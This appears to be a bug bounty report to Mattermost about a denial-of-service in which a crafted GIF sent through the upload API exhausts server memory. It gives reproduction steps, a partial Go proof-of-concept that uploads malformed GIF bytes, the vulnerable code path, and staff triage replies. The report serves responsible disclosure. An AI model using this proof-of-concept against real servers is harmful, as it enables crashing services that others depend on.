

## DOS: out of memory from gif through upload api

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TIMELINE

9

catenacyber submitted a report to Mattermost.

Jun 30th (5 months ago)

## Summary:

When sending a specially crafted gif with max dimensions through the upload API, we get Mattermost server to consume more than 4Gbytes of RAM

## **Steps To Reproduce:**

[add details for how we can reproduce the issue]

- 1. Run docker run --name mattermost-preview -d --publish 8065:8065
  mattermost/mattermost-preview -m=4G as documented
  https://docs.mattermost.com/guides/deployment.html with 4G limit from
  https://docs.mattermost.com/install/software-hardwarerequirements.html#hardware-requirements-for-team-deployments
- 2. Get one channel id
- 3. Run this simple POC below with a valid channel id
- 4. Docker container gets killed

```
Code 698 Bytes

1  package main
2
3  import (
4  "bytes"
5  "fmt"
6  "github.com/mattermost/mattermost-server/v5/model"
7  )
8
9  func main() {
10    Client := model.NewAPIv4Client("http://localhost:8065/")
```

```
14
            Filename: "oom.gif",
15
            FileSize: 31,
16
        }
        us, response := Client.CreateUpload(us)
17
        fmt.Printf("lol %s %#+v\n", us, response)
18
        data := []byte\{0x47, 0x49, 0x46, 0x38, 0x39, 0x61, 0x2e, 0xf8, 0xff, 0xff, 0xf,
19
20
        info, err2 := Client.UploadData(us.Id, bytes.NewReader(data))
        fmt.Printf("lol %s %#+v\n", err2, info)
21
22 }
```

This happens with <code>gif.DecodeAll</code> being called by <code>GetInfoForBytes</code> getting called by <code>App.UploadData</code> being called by <code>doUploadData</code> being called by <code>uploadData</code> without any call to <code>preprocessImage</code> as is done in the <code>api/v4/files</code> route

Docker container gets killed

## **Impact**

Crash a server

catenacyber posted a comment.

Jun 30th (5 months ago)

You need to adapt the username and password in the POC as well;-)

hitesh\_mattermost Mattermost staff posted a comment.

Jun 30th (5 months ago)
hank you for your report. We will investigate the issue as soon as possible and shall let you
know if we need any more information. Once validated, we will let you know and triage the
issue.

Best regards and happy hunting!

catenacyber posted a comment.

Jul 1st (5 months ago)

Actually, UploadData calls checkImageResolutionLimit but after having called model.GetInfoForBytes ...

catenacyber posted a comment.

Jul 1st (5 months ago)

And GetInfoForBytes calls image.DecodeConfig but does not check the dimensions before calling gif.DecodeAll

Thitesh\_mattermost Mattermost staff changed the status to O Triaged.

Jul 5th (5 months ago) hanks for reporting this vulnerability. We have reviewed your report and after internally assessing the finding, we have determined that it is a valid issue. We would like to thank you for bringing this to our attention. Your report will be rewarded soon once we have discussed this further. Please stay tuned.

Best regards and happy hunting!

hank you for reporting this vulnerability. After internally reviewing your finding, we have determined that it is a valid issue. We appreciate you bringing this to our attention.

Congratulations!! We look forward to more additional reports from you.

Best regards and happy hunting!

